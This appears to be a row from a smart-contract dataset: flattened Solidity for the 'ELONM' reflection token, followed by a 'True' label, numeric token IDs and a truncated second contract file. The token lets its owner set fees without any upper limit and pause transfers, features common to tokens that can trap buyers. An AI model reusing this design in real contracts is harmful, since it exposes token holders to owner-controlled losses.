function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/tokens/abstract/AbstractDeflationaryToken.sol
pragma solidity 0.8.4;
abstract contract AbstractDeflationaryToken is Context, IERC20, Ownable {
using SafeMath for uint256; // only for custom reverts on sub
mapping (address => uint256) internal _rOwned;
mapping (address => uint256) internal _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) internal _isExcludedFromFee;
mapping (address => uint256) internal _isExcludedFromReward;
uint256 private constant MAX = type(uint256).max;
uint256 private immutable _decimals;
uint256 internal immutable _tTotal; // real total supply
uint256 internal _tIncludedInReward;
uint256 internal _rTotal;
uint256 internal _rIncludedInReward;
uint256 internal _tFeeTotal;
uint256 public _taxHolderFee;
uint256 public _maxTxAmount;
string private _name;
string private _symbol;
constructor (
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxHolderFee,
uint256 maxTxAmount
) {
_name = tName;
_symbol = tSymbol;
_tTotal = totalAmount;
_tIncludedInReward = totalAmount;
_rTotal = (MAX - (MAX % totalAmount));
_decimals = tDecimals;
_taxHolderFee = tTaxHolderFee;
_maxTxAmount = maxTxAmount != 0 ? maxTxAmount : type(uint256).max;
_rOwned[_msgSender()] = _rTotal;
_rIncludedInReward = _rTotal;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = 1;
_isExcludedFromFee[address(this)] = 1;
emit Transfer(address(0), _msgSender(), totalAmount);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override virtual returns (uint256) {
return _tTotal;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedFromReward[account] == 1;
}
function isExcludedFromFee(address account) external view returns(bool) {
return _isExcludedFromFee[account] == 1;
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(_isExcludedFromReward[sender] == 0, "Forbidden for excluded addresses");
uint256 rAmount = tAmount * _getRate();
_tFeeTotal += tAmount;
_rOwned[sender] -= rAmount;
_rTotal -= rAmount;
_rIncludedInReward -= rAmount;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = 1;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = 0;
}
function setTaxHolderFeePercent(uint256 taxHolderFee) external onlyOwner {
_taxHolderFee = taxHolderFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
_maxTxAmount = _tTotal * maxTxPercent / 100;
}
function excludeFromReward(address account) public onlyOwner {
require(_isExcludedFromReward[account] == 0, "Account is already excluded");
if(_rOwned[account] != 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
_tIncludedInReward -= _tOwned[account];
_rIncludedInReward -= _rOwned[account];
_rOwned[account] = 0;
}
_isExcludedFromReward[account] = 1;
}
function includeInReward(address account) public onlyOwner {
require(_isExcludedFromReward[account] == 1, "Account is already included");
_rOwned[account] = reflectionFromToken(_tOwned[account], false);
_rIncludedInReward += _rOwned[account];
_tIncludedInReward += _tOwned[account];
_tOwned[account] = 0;
_isExcludedFromReward[account] = 0;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromReward[account] == 1) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
uint256 rate = _getRate();
if (!deductTransferFee) {
return tAmount * rate;
} else {
uint256[] memory fees = _getFeesArray(tAmount, rate, true);
(, uint256 rTransferAmount) = _getTransferAmount(tAmount, fees[0], rate);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Can't exceed total reflections");
return rAmount / _getRate();
}
function _reflectHolderFee(uint256 tFee, uint256 rFee) internal {
if (tFee != 0) _tFeeTotal += tFee;
if (rFee != 0) {
_rTotal -= rFee;
_rIncludedInReward -= rFee;
}
}
function _getRate() internal view returns(uint256) {
uint256 rIncludedInReward = _rIncludedInReward; // gas savings
uint256 koeff = _rTotal / _tTotal;
if (rIncludedInReward < koeff) return koeff;
return rIncludedInReward / _tIncludedInReward;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getFeesArray(uint256 tAmount, uint256 rate, bool takeFee) internal view virtual returns(uint256[] memory fees);
function _getTransferAmount(uint256 tAmount, uint256 totalFeesForTx, uint256 rate) internal virtual view
returns(uint256 tTransferAmount, uint256 rTransferAmount);
function _recalculateRewardPool(
bool isSenderExcluded,
bool isRecipientExcluded,
uint256[] memory fees,
uint256 tAmount,
uint256 rAmount,
uint256 tTransferAmount,
uint256 rTransferAmount) internal virtual;
function _transfer(
address from,
address to,
uint256 amount
) internal virtual;
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool ignoreBalance) internal virtual;
}
// File contracts/tokens/deflationalAutoLP/abstract/AbstractDeflationaryAutoLPToken.sol
pragma solidity 0.8.4;
abstract contract AbstractDeflationaryAutoLPToken is AbstractDeflationaryToken {
uint256 public _liquidityFee;
address public liquidityOwner;
address public immutable poolAddress;
uint256 constant SWAP_AND_LIQUIFY_DISABLED = 0;
uint256 constant SWAP_AND_LIQUIFY_ENABLED = 1;
uint256 constant IN_SWAP_AND_LIQUIFY = 2;
uint256 LiqStatus;
uint256 private numTokensSellToAddToLiquidity;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event LiquidityOwnerChanged(address newLiquidityOwner);
modifier lockTheSwap {
LiqStatus = IN_SWAP_AND_LIQUIFY;
_;
LiqStatus = SWAP_AND_LIQUIFY_ENABLED;
}
constructor (
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxFee,
uint256 tLiquidityFee,
uint256 maxTxAmount,
uint256 _numTokensSellToAddToLiquidity,
bool _swapAndLiquifyEnabled,
address liquidityPoolAddress
) AbstractDeflationaryToken(
tName,
tSymbol,
totalAmount,
tDecimals,
tTaxFee,
maxTxAmount
) {
_liquidityFee = tLiquidityFee;
numTokensSellToAddToLiquidity = _numTokensSellToAddToLiquidity;
if (_swapAndLiquifyEnabled) {
LiqStatus = SWAP_AND_LIQUIFY_ENABLED;
}
liquidityOwner = _msgSender();
poolAddress = liquidityPoolAddress;
}
receive() external virtual payable {}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setNumTokensSellToAddToLiquidity(uint256 newNumTokensSellToAddToLiquidity) external onlyOwner {
numTokensSellToAddToLiquidity = newNumTokensSellToAddToLiquidity;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
LiqStatus = _enabled ? 1 : 0;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setLiquidityOwner(address newLiquidityOwner) external onlyOwner {
liquidityOwner = newLiquidityOwner;
emit LiquidityOwnerChanged(newLiquidityOwner);
}
function _takeLiquidity(uint256 tLiquidity, uint256 rate) internal {
if (tLiquidity == 0) return;
if(_isExcludedFromReward[address(this)] == 1) {
_tOwned[address(this)] += tLiquidity;
_tIncludedInReward -= tLiquidity;
_rIncludedInReward -= tLiquidity * rate;
}
else {
_rOwned[address(this)] += tLiquidity * rate;
}
}
function _getTransferAmount(uint256 tAmount, uint256 totalFeesForTx, uint256 rate) internal virtual override view
returns(uint256 tTransferAmount, uint256 rTransferAmount) {
tTransferAmount = tAmount - totalFeesForTx;
rTransferAmount = tTransferAmount * rate;
}
function _recalculateRewardPool(
bool isSenderExcluded,
bool isRecipientExcluded,
uint256[] memory fees,
uint256 tAmount,
uint256 rAmount,
uint256 tTransferAmount,
uint256 rTransferAmount) internal virtual override{
if (isSenderExcluded) {
if (isRecipientExcluded) {
_tIncludedInReward += fees[0];
_rIncludedInReward += fees[1];
} else {
_tIncludedInReward += tAmount;
_rIncludedInReward += rAmount;
}
} else {
if (isRecipientExcluded) {
if (!isSenderExcluded) {
_tIncludedInReward -= tTransferAmount;
_rIncludedInReward -= rTransferAmount;
}
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount != 0, "Transfer amount can't be zero");
address __owner = owner();
if(from != __owner && to != __owner)
require(amount <= _maxTxAmount, "Amount exceeds the maxTxAmount");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 _numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity; // gas savings
if (
balanceOf(address(this)) >= _numTokensSellToAddToLiquidity &&
_maxTxAmount >= _numTokensSellToAddToLiquidity &&
LiqStatus == SWAP_AND_LIQUIFY_ENABLED &&
from != poolAddress
) {
//add liquidity
_swapAndLiquify(_numTokensSellToAddToLiquidity);
}
//if any account belongs to _isExcludedFromFee account then remove the fee
bool takeFee = _isExcludedFromFee[from] == 0 && _isExcludedFromFee[to] == 0;
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from, to, amount, takeFee, false);
}
function _swapAndLiquify(uint256 contractTokenBalance) internal virtual;
function _swapTokensForEth(uint256 tokenAmount) internal virtual;
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal virtual;
function _getFeesArray(uint256 tAmount, uint256 rate, bool takeFee) internal view override virtual returns(uint256[] memory fees) {
fees = new uint256[](5);
if (takeFee) {
// Holders fee
fees[2] = tAmount * _taxHolderFee / 100; // t
fees[3] = fees[2] * rate; // r
// liquidity fee
fees[4] = tAmount * _liquidityFee / 100; // t
// Total fees
fees[0] = fees[2] + fees[4]; // t
fees[1] = fees[3] + fees[4] * rate; // r
}
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool ignoreBalance)
internal override virtual {
uint256 rate = _getRate();
uint256 rAmount = amount * rate;
uint256[] memory fees = _getFeesArray(amount, rate, takeFee);
(uint256 tTransferAmount, uint256 rTransferAmount) = _getTransferAmount(amount, fees[0], rate);
{
bool isSenderExcluded = _isExcludedFromReward[sender] == 1;
bool isRecipientExcluded = _isExcludedFromReward[recipient] == 1;
if (isSenderExcluded) {
_tOwned[sender] -= ignoreBalance ? 0 : amount;
} else {
_rOwned[sender] -= ignoreBalance ? 0 : rAmount;
}
if (isRecipientExcluded) {
_tOwned[recipient] += tTransferAmount;
} else {
_rOwned[recipient] += rTransferAmount;
}
if (!ignoreBalance) _recalculateRewardPool(
isSenderExcluded,
isRecipientExcluded,
fees,
amount,
rAmount,
tTransferAmount,
rTransferAmount);
}
_takeLiquidity(fees[4], rate);
_reflectHolderFee(fees[2], fees[3]);
emit Transfer(sender, recipient, tTransferAmount);
}
}
// File contracts/tokens/abstract/AbstractBurnableDeflToken.sol
pragma solidity 0.8.4;
abstract contract AbstractBurnableDeflToken is AbstractDeflationaryToken {
uint256 public totalBurned;
function burn(uint256 amount) external {
require(balanceOf(_msgSender()) >= amount, 'Not enough tokens');
totalBurned += amount;
if(_isExcludedFromReward[_msgSender()] == 1) {
_tOwned[_msgSender()] -= amount;
}
else {
uint256 rate = _getRate();
_rOwned[_msgSender()] -= amount * rate;
_tIncludedInReward -= amount;
_rIncludedInReward -= amount * rate;
}
}
}
// File contracts/tokens/abstract/AbstractAutoBurnableDeflToken.sol
pragma solidity 0.8.4;
abstract contract AbstractAutoBurnableDeflToken is AbstractBurnableDeflToken {
uint256 public burnFee;
function setBurnFee(uint256 newBurnFee) external onlyOwner {
burnFee = newBurnFee;
}
function _getTransferAmount(uint256 tAmount, uint256 totalFeesForTx, uint256 rate)
internal override virtual view
returns(uint256 tTransferAmount, uint256 rTransferAmount) {
if (totalFeesForTx != 0) {
tTransferAmount = tAmount - totalFeesForTx - tAmount * burnFee/100;
} else {
tTransferAmount = tAmount;
}
rTransferAmount = tTransferAmount * rate;
}
function _recalculateRewardPool(
bool isSenderExcluded,
bool isRecipientExcluded,
uint256[] memory fees,
uint256 tAmount,
uint256 rAmount,
uint256 tTransferAmount,
uint256 rTransferAmount) internal override virtual {
uint256 burned;
if (fees[0] != 0) {
burned = tAmount * burnFee/100;
totalBurned += burned;
}
if (isSenderExcluded) {
if (isRecipientExcluded) {
_tIncludedInReward += fees[0];
_rIncludedInReward += fees[1];
} else {
_tIncludedInReward += tAmount - burned;
_rIncludedInReward += rAmount - burned * (rAmount/tAmount);
}
} else {
if (isRecipientExcluded) {
if (!isSenderExcluded) {
_tIncludedInReward -= tTransferAmount;
_rIncludedInReward -= rTransferAmount;
}
}
}
}
}
// File contracts/tokens/deflationalAutoLP/UniswapV2/DeflationaryAutoLPToken.sol
pragma solidity 0.8.4;
contract DeflationaryAutoLPToken is AbstractDeflationaryAutoLPToken {
IUniswapV2Router02 public immutable uniswapV2Router;
address private immutable WETH;
bool private immutable isToken0;
constructor (
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxFee,
uint256 tLiquidityFee,
uint256 maxTxAmount,
uint256 _numTokensSellToAddToLiquidity,
bool _swapAndLiquifyEnabled,
address tUniswapV2Router
) AbstractDeflationaryAutoLPToken (
tName,
tSymbol,
totalAmount,
tDecimals,
tTaxFee,
tLiquidityFee,
maxTxAmount,
_numTokensSellToAddToLiquidity,
_swapAndLiquifyEnabled,
IUniswapV2Factory(IUniswapV2Router02(tUniswapV2Router).factory())
.createPair(address(this), IUniswapV2Router02(tUniswapV2Router).WETH()) // Create a uniswap pair for this new token
) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(tUniswapV2Router);
uniswapV2Router = _uniswapV2Router;
WETH = _uniswapV2Router.WETH();
isToken0 = address(this) < _uniswapV2Router.WETH();
}
function withdrawStuckFunds() external onlyOwner {
// normally balance of contract always should be zero
// but slippage in _addLiquidity is possible
payable(owner()).transfer(address(this).balance);
}
// try to find such amount for sale that there is nothing left in the remainder after liquify
// it is not always possible to do it perfectly
function getOptimalAmountToSell(int X, int dX) private pure returns(uint256) {
int feeDenom = 1000000;
int f = 997000; // 1 - fee
unchecked {
int T1 = X*(X*(feeDenom + f)**2 + 4*feeDenom*dX*f);
// square root
int z = (T1 + 1) / 2;
int sqrtT1 = T1;
while (z < sqrtT1) {
sqrtT1 = z;
z = (T1 / z + z) / 2;
}
return uint(
( 2*feeDenom*dX*X )/
( sqrtT1 + X*(feeDenom + f) )
);
}
}
function _swapAndLiquify(uint256 contractTokenBalance) internal override lockTheSwap {
(uint256 r0, uint256 r1,) = IUniswapV2Pair(poolAddress).getReserves();
// split the contract balance into halves
uint256 half = getOptimalAmountToSell(isToken0 ? int(r0) : int(r1), int(contractTokenBalance));
uint256 otherHalf = contractTokenBalance - half;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 currentBalance = address(this).balance;
// swap tokens for ETH
_swapTokensForEth(half);
// how much ETH did we just swap into?
currentBalance = address(this).balance - currentBalance;
// add liquidity to uniswap
_addLiquidity(otherHalf, currentBalance);
emit SwapAndLiquify(half, currentBalance, otherHalf);
}
function _swapTokensForEth(uint256 tokenAmount) internal override {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal override {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityOwner,
block.timestamp
);
}
}
// File contracts/tokens/abstract/FeeToAddress.sol
pragma solidity 0.8.4;
abstract contract FeeToAddress is Ownable {
uint256 public feeToAddress;
address public feeBeneficiary;
event FeeBeneficiaryChanged(address newBeneficiary);
function setToAddressFee(uint256 newFeeToAddressPercent) external onlyOwner {
feeToAddress = newFeeToAddressPercent;
}
function setFeeBeneficiary(address newBeneficiary) external onlyOwner {
feeBeneficiary = newBeneficiary;
emit FeeBeneficiaryChanged(newBeneficiary);
}
}
// File contracts/tokens/deflationalAutoLP/UniswapV2/extensions/FeeToAddr/FeeToAddr.sol
pragma solidity 0.8.4;
contract FeeToAddrDeflAutoLPToken is DeflationaryAutoLPToken, FeeToAddress {
constructor(
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxFee,
uint256 tLiquidityFee,
uint256 maxTxAmount,
uint256 _numTokensSellToAddToLiquidity,
bool _swapAndLiquifyEnabled,
address tUniswapV2Router
) DeflationaryAutoLPToken(
tName,
tSymbol,
totalAmount,
tDecimals,
tTaxFee,
tLiquidityFee,
maxTxAmount,
_numTokensSellToAddToLiquidity,
_swapAndLiquifyEnabled,
tUniswapV2Router) {
}
function _getFeesArray(uint256 tAmount, uint256 rate, bool takeFee)
internal view override virtual returns(uint256[] memory fees) {
fees = super._getFeesArray(tAmount, rate, takeFee);
if (takeFee) {
uint256 _feeSize = feeToAddress * tAmount / 100; // gas savings
fees[0] += _feeSize; // increase totalFee
fees[1] += _feeSize * rate; // increase totalFee reflections
}
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool ignoreBalance) internal override virtual {
if (takeFee) {
uint256 _feeSize = feeToAddress * amount / 100; // gas savings
super._tokenTransfer(sender, feeBeneficiary, _feeSize, false, true); // cannot take fee - circular transfer
}
super._tokenTransfer(sender, recipient, amount, takeFee, ignoreBalance);
}
}
// File contracts/tokens/deflationalAutoLP/UniswapV2/extensions/FeeToAddr/AutoBurnableFeeToAddr.sol
pragma solidity 0.8.4;
contract AutoBurnableFeeToAddrDeflAutoLPToken is FeeToAddrDeflAutoLPToken, AbstractAutoBurnableDeflToken {
constructor(
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxFee,
uint256 tLiquidityFee,
uint256 maxTxAmount,
uint256 _numTokensSellToAddToLiquidity,
bool _swapAndLiquifyEnabled,
address tUniswapV2Router,
uint256 burnFeePercent
) FeeToAddrDeflAutoLPToken(
tName,
tSymbol,
totalAmount,
tDecimals,
tTaxFee,
tLiquidityFee,
maxTxAmount,
_numTokensSellToAddToLiquidity,
_swapAndLiquifyEnabled,
tUniswapV2Router) {
burnFee = burnFeePercent;
}
function totalSupply() external view override returns(uint256) {
return _tTotal - totalBurned;
}
function _getTransferAmount(uint256 tAmount, uint256 totalFeesForTx, uint256 rate)
internal override(AbstractDeflationaryAutoLPToken, AbstractAutoBurnableDeflToken) view
returns(uint256 tTransferAmount, uint256 rTransferAmount) {
(tTransferAmount, rTransferAmount) = super._getTransferAmount(tAmount, totalFeesForTx, rate);
}
function _recalculateRewardPool(
bool isSenderExcluded,
bool isRecipientExcluded,
uint256[] memory fees,
uint256 tAmount,
uint256 rAmount,
uint256 tTransferAmount,
uint256 rTransferAmount) internal override(AbstractDeflationaryAutoLPToken, AbstractAutoBurnableDeflToken) {
super._recalculateRewardPool(
isSenderExcluded,
isRecipientExcluded,
fees,
tAmount,
rAmount,
tTransferAmount,
rTransferAmount
);
}
}
// File contracts/tokens/deflationalAutoLP/UniswapV2/extensions/FeeToAddr/ELONM_constructed.sol
pragma solidity 0.8.4;
contract ELONM is AutoBurnableFeeToAddrDeflAutoLPToken, Pausable {
constructor(
string memory tName,
string memory tSymbol,
uint256 totalAmount,
uint256 tDecimals,
uint256 tTaxFee,
uint256 tLiquidityFee,
uint256 maxTxAmount,
uint256 _numTokensSellToAddToLiquidity,
bool _swapAndLiquifyEnabled,
address tUniswapV2Router,
uint256 burnFeePercent
) AutoBurnableFeeToAddrDeflAutoLPToken(
tName,
tSymbol,
totalAmount,
tDecimals,
tTaxFee,
tLiquidityFee,
maxTxAmount,
_numTokensSellToAddToLiquidity,
_swapAndLiquifyEnabled,
tUniswapV2Router,
burnFeePercent) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override notPaused {
super._transfer(from, to, amount);
}
}
|
True
|
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12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
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12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
102
] |
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
pragma experimental ABIEncoderV2;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
